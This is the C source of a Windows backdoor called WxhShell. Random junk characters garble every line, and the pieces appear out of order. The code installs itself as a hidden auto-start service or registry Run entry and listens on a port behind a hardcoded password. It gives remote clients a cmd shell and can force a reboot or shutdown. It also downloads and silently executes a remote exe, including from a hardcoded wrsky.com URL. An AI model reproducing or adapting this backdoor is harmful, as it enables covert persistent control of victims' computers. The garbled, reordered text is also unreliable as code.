  case 'd': { V$oj6i{ky  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ul'H(eH.v  
    if(Boot(SHUTDOWN)) (H:A|Lw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fF=tT C  
    else { ]{#Xcqx  
    closesocket(wsh); ?YDMl  
    ExitThread(0); =W2I0nr.  
    } O*x~a;?G  
    break; O*B9 Bah  
    } Snp(&TD<<  
  // 获取shell ~V?\@R:g  
  case 's': { }<w9Jfr"X  
    CmdShell(wsh); %qqeL   
    closesocket(wsh); tB4yj_ZF  
    ExitThread(0); qPJSVo  
    break; %K06owV(S)  
  } wuXH'  
  // 退出 B(6*U~Kn%  
  case 'x': { .|TF /b]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ZP&iy$<L  
    CloseIt(wsh); a40>_;}:x  
    break; ae2SU4Jx  
    } II[-6\d!  
  // 离开 Ge=\IAj  
  case 'q': { 'WBhW5@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a1[J>  
    closesocket(wsh); `0w!&  
    WSACleanup(); BQeg-M  
    exit(1); T!pZj_ h=  
    break; 'aEN(Mdz1e  
        } \_i22/Et  
  } BO6XY90(  
  } e 0Z2B2  
D~`RLPMk  
  // 提示信息 D$rn?@&g  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /^I!)|At  
} qg<Y^ y  
  } jHA(mU)b  
HqV4!o9'  
  return; olXfR-2>1  
} |  >yc|W  
~DB:/VSmu  
// shell模块句柄 wAzaxeV=  
int CmdShell(SOCKET sock) jIHY[yDT  
{ jZvIqR/  
STARTUPINFO si; se}$/Y}t  
ZeroMemory(&si,sizeof(si)); g2 mq?q(g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zzh7 "M3Qn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]gF=I5jn]  
PROCESS_INFORMATION ProcessInfo; D5].^*AbZ  
char cmdline[]="cmd"; ~XvMiWuo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "-AFWWKtx  
  return 0; 9i{(GO  
} :b_hF  
pL>Yx>  
// 自身启动模式 z8)&ekG  
int StartFromService(void) 8= 82x  
{ =*>.z@WQ  
typedef struct eu$"GbqY  
{ 2 '$nz  
  DWORD ExitStatus; rg 0u#-  
  DWORD PebBaseAddress; {!wd5C@  
  DWORD AffinityMask; U7,.L  
  DWORD BasePriority; `bn@;7`X  
  ULONG UniqueProcessId; -*-"kzgd  
  ULONG InheritedFromUniqueProcessId; Ys?0hd<cn  
}   PROCESS_BASIC_INFORMATION; A8AeM `  
62G %.'7  
PROCNTQSIP NtQueryInformationProcess; RQ#9[6w!v  
iV\*7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Gf9O\wrs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W3^^aD-  
U^K8^an$  
  HANDLE             hProcess; ou]jm=4[  
  PROCESS_BASIC_INFORMATION pbi; uaCI2I  
c]qh)F$s8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :3J`+V}9;  
  if(NULL == hInst ) return 0; r/0AM}[!*j  
qNMYZ0,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w^7[4u4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tn(6T^u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {W%XS E  
"avG#rsH  
  if (!NtQueryInformationProcess) return 0; R?}%rP+^e  
E5*pD*#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \Il?$Kb/  
  if(!hProcess) return 0; ygK,t*T20  
c{x:'@%/s'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ld5+/"$  
zY-?Bv_D  
  CloseHandle(hProcess);  qzSm]l?z  
Y 7?q `  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o0dD  
if(hProcess==NULL) return 0; (&_^1  
{7 ](-  
HMODULE hMod; g"g3|$#Ej|  
char procName[255]; ] {0OPU  
unsigned long cbNeeded; N&(MM.\`^  
H6KBXMYO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %.fwNS  
5*Dh#FRp  
  CloseHandle(hProcess); 5CH8;sMK  
e#WASHZN  
if(strstr(procName,"services")) return 1; // 以服务启动 OL@$RTh  
{"rL3Lk  
  return 0; // 注册表启动 [8 23w.{]#  
} 6J cXhlB`  
wX!0KxR/Z  
// 主模块 SWT)M1O2  
int StartWxhshell(LPSTR lpCmdLine) \vpX6!T  
{ f>Tn#OW  
  SOCKET wsl; muhu` k`C  
BOOL val=TRUE; -f?,%6(1  
  int port=0; 1].m4vC  
  struct sockaddr_in door; 3S%/>)k  
TpHzf3.I  
  if(wscfg.ws_autoins) Install(); p>+Q6o9O  
B@' OUcUR  
port=atoi(lpCmdLine); [3x*47o"z  
20:![/7:!  
if(port<=0) port=wscfg.ws_port; <" 0b 8 Z  
P#rS.CIh  
  WSADATA data; X'xnJtk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~ET XXu${I  
&F*eo`o}6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {rygIl{V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1DH P5q  
  door.sin_family = AF_INET; _d>{Hz2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n9Vr*RKM)  
  door.sin_port = htons(port); `y{[e j  
`@So6%3Y|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vSCJ xSt#e  
closesocket(wsl); 8LY^>.  
return 1; )d{fDwrx1  
} [<jU$93E  
Yq{R*HO  
  if(listen(wsl,2) == INVALID_SOCKET) { 8RS@YO  
closesocket(wsl); @R`Ao9n9V  
return 1; tK 6=F63e  
} jFI`CA6P  
  Wxhshell(wsl); MaF4lFmS  
  WSACleanup(); CWb*bw0  
/HdjPxH  
return 0; ^#4<~zU  
=yPV9#(I/  
} E7I$GD  
IUD@Kf]S  
// 以NT服务方式启动 L}K8cB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ve xxdg  
{ ,=: -&~?  
DWORD   status = 0; HY(XI u  
  DWORD   specificError = 0xfffffff; eEYz A  
Fnd_\`9{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4MCj*ok<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \ AB)L{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nUCOHVI7  
  serviceStatus.dwWin32ExitCode     = 0; NFqGbA|  
  serviceStatus.dwServiceSpecificExitCode = 0; U[Lr+nKo\  
  serviceStatus.dwCheckPoint       = 0; _KZ TY`/*  
  serviceStatus.dwWaitHint       = 0; uSH_=^yTQ  
(N9g6V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S.?DR3XLc  
  if (hServiceStatusHandle==0) return; %{? 9#))  
)kYDN_W  
status = GetLastError(); Xwd9-:  
  if (status!=NO_ERROR) v z&88jt  
{ x]IJ;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8/lgM'Eux  
    serviceStatus.dwCheckPoint       = 0; }q,dJE  
    serviceStatus.dwWaitHint       = 0; {W=5 J7  
    serviceStatus.dwWin32ExitCode     = status; )G*xI`(@  
    serviceStatus.dwServiceSpecificExitCode = specificError; xrv0%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T`GiM%R;g  
    return; bas1(/|S  
  } vdot .  
g|tclBx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *n6L3"cO  
  serviceStatus.dwCheckPoint       = 0; ~_ wSB[z  
  serviceStatus.dwWaitHint       = 0; B#3Q4c$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HumL(S'm  
} 7"OJ,Mx%  
F?qg?1v B|  
// 处理NT服务事件,比如:启动、停止 beNy5~M$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4zZ.v"laVM  
{ x~](d8*=  
switch(fdwControl) Vd'=Fe;eB  
{ Xv+,Z<>iQ  
case SERVICE_CONTROL_STOP: QZuKM'D+  
  serviceStatus.dwWin32ExitCode = 0; h05<1>?|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 20I/En  
  serviceStatus.dwCheckPoint   = 0; e`Co ='  
  serviceStatus.dwWaitHint     = 0; Of}C.N8  
  { RrdLh z2N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OP\L  
  } $oPc,zS-gL  
  return; ,wngS=  
case SERVICE_CONTROL_PAUSE: hoLA*v2<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t/l<X]o  
  break; P(a}OlG  
case SERVICE_CONTROL_CONTINUE: %D~Mij  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .Ad9(s  
  break; -lR7 @S  
case SERVICE_CONTROL_INTERROGATE: rbl^ aik  
  break; Eqh*"hE7  
}; k *>"@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <,X=M6$0n  
} }y vH)q  
I+31:#d  
// 标准应用程序主函数 7m}fVLk  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }'K-1:  
{ /Pg)@*~  
qd<I;*WV  
// 获取操作系统版本 '%YE#1*gH  
OsIsNt=GetOsVer(); 8s %YudW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >*Ej2ex  
WpRM|"CF  
  // 从命令行安装 <~S]jtL.j:  
  if(strpbrk(lpCmdLine,"iI")) Install(); >]uu?!PU  
dN7.W   
  // 下载执行文件 '*Ld,`  
if(wscfg.ws_downexe) { }$ Kd-cj+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7k00lKA\w  
  WinExec(wscfg.ws_filenam,SW_HIDE); @uanej0q7  
} |*Oi:)qt  
p7HLSB2Rp  
if(!OsIsNt) { U+C ^"[B  
// 如果时win9x,隐藏进程并且设置为注册表启动 :}-?X\|\  
HideProc(); {WQ6=wGpS  
StartWxhshell(lpCmdLine); vKfjP_0$  
} NK'@.=$  
else Sh?eb  
  if(StartFromService()) qW'L}x  
  // 以服务方式启动 J~50#vHY  
  StartServiceCtrlDispatcher(DispatchTable); Nr).*]g@~  
else g's!\kr  
  // 普通方式启动 ~Yc!~Rz  
  StartWxhshell(lpCmdLine); D4uAwmc  
 V^rL  
return 0; 5=%KK3  
} iio-RT?!  
Kmw #Q`  
.Lu3LVS  
*z.rOY= 8  
=========================================== }D.\2x(J  
X5)(,036  
Kr;=4xg=  
G*jq5_6  
+L@\/=;G  
L27WDm^)  
" ) .KMZ]  
_"*s x-  
#include <stdio.h> /)kx`G_  
#include <string.h> PB!XApTb  
#include <windows.h> hljKBx ~  
#include <winsock2.h> _O ;4>  
#include <winsvc.h> CGkx_E]  
#include <urlmon.h> B^/k`h6J  
>Bu9D  
#pragma comment (lib, "Ws2_32.lib") \9uK^oS  
#pragma comment (lib, "urlmon.lib") ^@{"a  
>#Xz~xI/I  
#define MAX_USER   100 // 最大客户端连接数 ;tF&r1  
#define BUF_SOCK   200 // sock buffer R[)bGl6#  
#define KEY_BUFF   255 // 输入 buffer @#$(Cs*{]  
p1K]m>Y{?  
#define REBOOT     0   // 重启 `xx3JQv[  
#define SHUTDOWN   1   // 关机 &]shBvzl^  
mx UyD[|  
#define DEF_PORT   5000 // 监听端口 s`0IyQXVU  
R/kJUl6HEl  
#define REG_LEN     16   // 注册表键长度 /lh1sHgD  
#define SVC_LEN     80   // NT服务名长度 WtaOf_  
`j!_tE`  
// 从dll定义API y7%SHYC p[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gVI`&W__,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~*9Ue@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hJD3G |E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o)]O  
B2'TRXIm1U  
// wxhshell配置信息 l2}X\N&q  
struct WSCFG { y)a)VvU":  
  int ws_port;         // 监听端口 &U7h9o H  
  char ws_passstr[REG_LEN]; // 口令 MvnQUZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no = ^Vp \  
  char ws_regname[REG_LEN]; // 注册表键名 6(uZn=  
  char ws_svcname[REG_LEN]; // 服务名 Q'JK *.l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vxLr034  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 MLg{Y?@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _[-W*,xJ)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xR|^{y9n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O&yAFiCd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K]G(u"'  
ezCJq`b  
}; \=]`X2Ld  
~8"oH5  
// default Wxhshell configuration #NYHwO<0-  
struct WSCFG wscfg={DEF_PORT, !n P4S)A  
    "xuhuanlingzhe", Q\T?t  
    1, SbzJeaZv  
    "Wxhshell", o4J@M{xb_  
    "Wxhshell", g_N^Y  
            "WxhShell Service", Jj 5VBI!Ok  
    "Wrsky Windows CmdShell Service",  S~E@A.7  
    "Please Input Your Password: ", { 0&l*@c&  
  1, Cb`,N  
  "http://www.wrsky.com/wxhshell.exe", ~G-W|>  
  "Wxhshell.exe" 9 wbQ$>G9  
    }; 0fn*;f8{XJ  
MGxkqy?  
// 消息定义模块 OP"_I!t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yT5OFD|T  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yU4mS;GX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }.Z `   
char *msg_ws_ext="\n\rExit."; /BD'{tZ]Sl  
char *msg_ws_end="\n\rQuit."; YD;d*E%t  
char *msg_ws_boot="\n\rReboot..."; X1o^MMpz(F  
char *msg_ws_poff="\n\rShutdown..."; URg;e M#  
char *msg_ws_down="\n\rSave to "; :#35mBe}k  
w0lgB%97p  
char *msg_ws_err="\n\rErr!"; (Y8 LyY  
char *msg_ws_ok="\n\rOK!"; =QbOvIq  
nE*S3  
char ExeFile[MAX_PATH]; p<#aXs jy  
int nUser = 0; LExm#T`  
HANDLE handles[MAX_USER]; !{+.)%d'g  
int OsIsNt; '`. -75T  
v9Sk\9}S  
SERVICE_STATUS       serviceStatus; 32?'jRN(ue  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; / o I 4&W  
/3K)$Er  
// 函数声明 19c_=$mV  
int Install(void); &qWB\m  
int Uninstall(void);  -gS9I^  
int DownloadFile(char *sURL, SOCKET wsh); -!\%##r7~  
int Boot(int flag); P=KhR&gwV~  
void HideProc(void); x<Gjr}  
int GetOsVer(void); N N1}P'6Ha  
int Wxhshell(SOCKET wsl); nqo1+OR  
void TalkWithClient(void *cs); &Tj7qlP\  
int CmdShell(SOCKET sock); oz)4YBf  
int StartFromService(void); VltM{-k^  
int StartWxhshell(LPSTR lpCmdLine); 6)ln,{  
wet[f{c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'SoBB:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5`+9<8V  
>1;jBx>Qy%  
// 数据结构和表定义 .UQ|k,,t  
SERVICE_TABLE_ENTRY DispatchTable[] = )lJAMZ 5xp  
{ 6 U[VoUU   
{wscfg.ws_svcname, NTServiceMain}, j BBl{  
{NULL, NULL} -]Su+/3(,  
}; r|DIf28MIq  
 C=@4U}  
// 自我安装 (=;'>*L(  
int Install(void) +xO3<u  
{ w0oTV;yh  
  char svExeFile[MAX_PATH]; CEaAtAM  
  HKEY key; E;x-O)(&  
  strcpy(svExeFile,ExeFile); f!R7v|j P  
%;v~MC @  
// 如果是win9x系统,修改注册表设为自启动 l9="ccM  
if(!OsIsNt) { *AQ3RA8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { : [328X2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ".$kOH_:  
  RegCloseKey(key); 'j, ([  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0XCAnMVo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6QbDU[  
  RegCloseKey(key); KN`k+!@/7  
  return 0; -6s:D/t1'  
    } !/u  
  } <N$Hb2b  
} CJ%'VijhD  
else { K8MET&  
o5DT1>h  
// 如果是NT以上系统,安装为系统服务 jOrfI-&.G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  Fpn*]x  
if (schSCManager!=0) QOYMT( j  
{ N{Z+  
  SC_HANDLE schService = CreateService ej&.tNvq  
  ( ,52 IR[I<T  
  schSCManager, ^Cp2#d*  
  wscfg.ws_svcname, N\B&|;-V  
  wscfg.ws_svcdisp, h ~yTkN]  
  SERVICE_ALL_ACCESS, #)xlBq4cZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8tQL$CbO  
  SERVICE_AUTO_START, d;0]xG?%=  
  SERVICE_ERROR_NORMAL, [~ 2m*Q  
  svExeFile, :??W3ROn  
  NULL, b~:)d>s8wY  
  NULL, KB|mtsi  
  NULL, %A'mXatk  
  NULL, Xm>zT'B_tJ  
  NULL YW&K,)L@  
  ); OObAn^bt  
  if (schService!=0) gjN'D!'E1D  
  { ^@RvCJ+  
  CloseServiceHandle(schService); !Md6Lh%-w  
  CloseServiceHandle(schSCManager); }*QK;#NEc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EYj~Xj8_  
  strcat(svExeFile,wscfg.ws_svcname); g`S;xs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hx9t{Zi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LOcZadr  
  RegCloseKey(key); !37I2*+4  
  return 0; oo &|(+"O_  
    } df@NV Ld  
  } eT3!"+p-F  
  CloseServiceHandle(schSCManager); [>54?4{|.  
} 3 mAizq3  
} 0>td[f  
XWS]4MB+vm  
return 1; |TM n  
} R@jMFh;  
L{&2 P  
// 自我卸载 Q~Mkf&s  
int Uninstall(void) [O&}Qk  
{ 2p](`Y`  
  HKEY key; S%}G 8Ty  
v"ORn5  
if(!OsIsNt) { T5zS3O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K=JDl-#!  
  RegDeleteValue(key,wscfg.ws_regname); %E&oe $[B  
  RegCloseKey(key); v/rBjUc+X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dt "/4wCO  
  RegDeleteValue(key,wscfg.ws_regname); \L~^c1s3r  
  RegCloseKey(key); v9* +@  
  return 0; 8CUtY9.  
  } Gkem_Z  
} T%6JVFD  
} "X2'k@s`  
else { upaP,ik}~  
8} :$=n4&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y0|){&PCt  
if (schSCManager!=0) IS(F_< .  
{ Vlz\n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Lg!E  
  if (schService!=0) K=0xR*ll5  
  { y@I 9>}"y  
  if(DeleteService(schService)!=0) { 8b]4uI <  
  CloseServiceHandle(schService); ;k`51=Wi  
  CloseServiceHandle(schSCManager); !;*flr`/  
  return 0; b_F1?:#  
  } )2ShoFF  
  CloseServiceHandle(schService); iT Aj$ { >  
  } ?.< Qgd  
  CloseServiceHandle(schSCManager); ^SG>VfgC  
} 6}N`YOJ.  
} "%D"h  
\&kj#)JYA  
return 1; M KW~rrR  
} dL% *;   
Fy<:iv0>t  
// 从指定url下载文件 8\P,2RSnt  
int DownloadFile(char *sURL, SOCKET wsh) WJONk_WAc  
{ Bh=t%#y|`  
  HRESULT hr; B <r0y  
char seps[]= "/"; |X:`o;Uma  
char *token; pu/5#[MC)^  
char *file; &}e>JgBe0  
char myURL[MAX_PATH]; ,NZllnW  
char myFILE[MAX_PATH]; ANBuX6q  
duEXp]f!  
strcpy(myURL,sURL); J?m/u6  
  token=strtok(myURL,seps); KMy"DVqE  
  while(token!=NULL) ynM~&]fk#k  
  { &t<g K D  
    file=token; ^uUA41o`eJ  
  token=strtok(NULL,seps); }W:Z>vam+  
  } 8,IF%Z+LI  
e16H @  
GetCurrentDirectory(MAX_PATH,myFILE); t{iRCj  
strcat(myFILE, "\\"); k-n`R)p:  
strcat(myFILE, file); e`={_R{N  
  send(wsh,myFILE,strlen(myFILE),0); *w*K&$g  
send(wsh,"...",3,0); , p}:?uR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); W+Mw:,>*s  
  if(hr==S_OK) p1d%&e  
return 0; SJP3mq/^K  
else }hg=#*  
return 1; myX&Z F_9  
D8,8j;  
} V;SV0~&  
[XI:Yf  
// 系统电源模块 l VD{Y`)  
int Boot(int flag) SzB<PP2  
{ 'J} ?'{.  
  HANDLE hToken; 0 `7y Pq*  
  TOKEN_PRIVILEGES tkp; AA^K /y  
9;6)b 0=$  
  if(OsIsNt) { 0M;El2 P$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _J,rql@nG<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .qohHJ&  
    tkp.PrivilegeCount = 1; na $MR3@e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Xn=yC Pi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); kB CU+FC  
if(flag==REBOOT) { - JEPh!oTt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s(fkb7W,gO  
  return 0; T.I'c6|  
} O@@nGSc@  
else { #$S~QS.g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {~O4*2zg;K  
  return 0; !5De?OXe   
}  \8C<nh  
  } .-HM{6J  
  else { };rp25i  
if(flag==REBOOT) { )tJaw#Mih  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NbU4|O i  
  return 0; t^MTR6y+8  
} AcnY6:3Y|  
else { YFu,<8"swe  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bi}aVtG~z  
  return 0; dF51_Kk  
} ~;$QSO\2h  
} &1T)'Bn  
3xz~##  
return 1; W"@'}y  
} ~fD\=- S1  
DTA$,1JuD  
// win9x进程隐藏模块 x f{`uHa8  
void HideProc(void) 9O&gR46.  
{ R[\1Kk(Zo  
ylczM^@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q]=/e7  
  if ( hKernel != NULL ) m,kYE9 {  
  { 6 M:?W"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1SS1P0Ur  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H%l-@::+$  
    FreeLibrary(hKernel); d:>^]5cE&  
  } U 5j4iz'  
FY Flh^}  
return; >%`SXB& 9  
} N}nE9z5  
O&/n BHu\  
// 获取操作系统版本 >ryA:TO{  
int GetOsVer(void) "#pxZ B=  
{ |$IL:W6  
  OSVERSIONINFO winfo; f@!9~s  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $}b)EMMM  
  GetVersionEx(&winfo); %pxJ27Q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rlh:| #GTJ  
  return 1; y-H9fWi8Y&  
  else EZiLXQd_  
  return 0; P-T@'}lW  
} +`"Tn`O  
|) ~-Wy  
// 客户端句柄模块 >G!=lLyR  
int Wxhshell(SOCKET wsl) HP*{1Q@5  
{ *A48shfO  
  SOCKET wsh; o<lmU8xB=  
  struct sockaddr_in client; +UOVD:G  
  DWORD myID; 4Dzg r,V  
P4yUm(@  
  while(nUser<MAX_USER) Ms5qQ<0v_  
{ $ s1/Rmw  
  int nSize=sizeof(client); Q}\\0ajS)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Zbr e5&aU  
  if(wsh==INVALID_SOCKET) return 1; `'iO+/;GY  
;lE=7[UJ3X  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #E Bd g  
if(handles[nUser]==0) u!~kmIa4  
  closesocket(wsh); rd%uc~/  
else j|[$P4w}U  
  nUser++; 3r[F1z2B  
  } V[%IU'{:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6`'g ${U  
2Jiy`(P  
  return 0; r<(UN@T}  
} (p#c p  
&Hf%Va[B  
// 关闭 socket $FT6c@&y  
void CloseIt(SOCKET wsh) _\IA[-C+O  
{ sd+_NtH  
closesocket(wsh); =pmG.>Si  
nUser--; 4s%zvRu  
ExitThread(0); vCt][WX(  
} : i.5 < f  
C[Q4OAFG  
// 客户端请求句柄 U:7w8$_  
void TalkWithClient(void *cs) F> Ika=z,  
{ 8VU(+%X  
WQCnkP  
  SOCKET wsh=(SOCKET)cs; &m36h`tM  
  char pwd[SVC_LEN]; T; [T`  
  char cmd[KEY_BUFF]; d, i4WKp   
char chr[1]; fO5L[U^`  
int i,j; (  -q0!]E  
$tW E9_  
  while (nUser < MAX_USER) { %}N01P|X>  
n?6^j8i  
if(wscfg.ws_passstr) { Vr& GsT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >mvE[iXRG?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .%J<zqk-  
  //ZeroMemory(pwd,KEY_BUFF); v0\M$@N[  
      i=0; E*T6kp^b  
  while(i<SVC_LEN) { 9-{.WZ  
Bkn]80W  
  // 设置超时 6*$A/D  
  fd_set FdRead; ?r)>SB3(e  
  struct timeval TimeOut; ZB$yEW]]~  
  FD_ZERO(&FdRead); $aT '~|?  
  FD_SET(wsh,&FdRead); & \5Ur^t  
  TimeOut.tv_sec=8; u&={hJ&7  
  TimeOut.tv_usec=0; >_]Ov:5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YsCY~e&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); daA&!vnbH*  
,'Y KL",  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nzAySMD_  
  pwd=chr[0]; {_4Hsw?s6  
  if(chr[0]==0xd || chr[0]==0xa) { Y@UW\d*'%I  
  pwd=0; z\, lPwB2  
  break; +DefV,Ny  
  } hqHk,#  
  i++; K0'p*[yO/j  
    } @$p6w  
d5 ]-{+V+  
  // 如果是非法用户,关闭 socket RJ4=AA|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A$\/D2S7!  
} e :ub]1I=  
1=>b\"P#E  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AYoTCi%7E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "\~>[on  
M`=\ijUwN  
while(1) { Fm&f  
'>bn94$  
  ZeroMemory(cmd,KEY_BUFF); F|VHr@%  
i 28TH Jh  
      // 自动支持客户端 telnet标准   K",Xe>  
  j=0; v'`qn  
  while(j<KEY_BUFF) { B\=T_'E&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^^uY)AL  
  cmd[j]=chr[0]; 6 P(jc  
  if(chr[0]==0xa || chr[0]==0xd) { ) .V,zmI  
  cmd[j]=0; X?r$o>db  
  break; e&(Wn2)o  
  } KF#qz2S  
  j++; MdkL_YP}.  
    } \q!TI x  
WqCER^~'>  
  // 下载文件 pK>/c>de  
  if(strstr(cmd,"http://")) { 9zBt a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g[ @Q iy  
  if(DownloadFile(cmd,wsh)) D 7thLqA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ei]Q<vT6  
  else VJr~h "[  
